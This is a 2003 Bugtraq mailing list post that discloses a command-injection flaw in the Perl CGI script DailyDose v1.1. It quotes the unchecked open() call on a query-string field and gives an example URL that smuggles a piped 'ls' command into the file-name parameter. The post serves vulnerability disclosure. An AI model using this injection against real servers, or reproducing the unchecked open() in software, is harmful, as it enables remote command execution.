Bugtraq mailing list archives
DailyDose v 1.1
From: Alexey Sintsov <huan () xp-team spb su>
Date: 9 Nov 2003 15:58:41 -0000
Bug is found in this script: DailyDose v 1.1 (by www.onlinearts.net) The script (dose.pl) does not check the input: $data=$ENV{'QUERY_STRING'}; ($command,$list,$temp, $id) = split ("&",$data,4); . . . local ($template) = "$tempdir/$temp"; open(TEMPL, "$template") || print "no file found $template!"; #open without check var. $temp Example (listing): http://www.someserver.com/cgi-bin/dose.pl?daily&somefile.txt&|ls| -------------------------- Alexey Sintsov aka Don_Huan huan () xp-team spb su
Current thread:
- DailyDose v 1.1 Alexey Sintsov (Nov 10)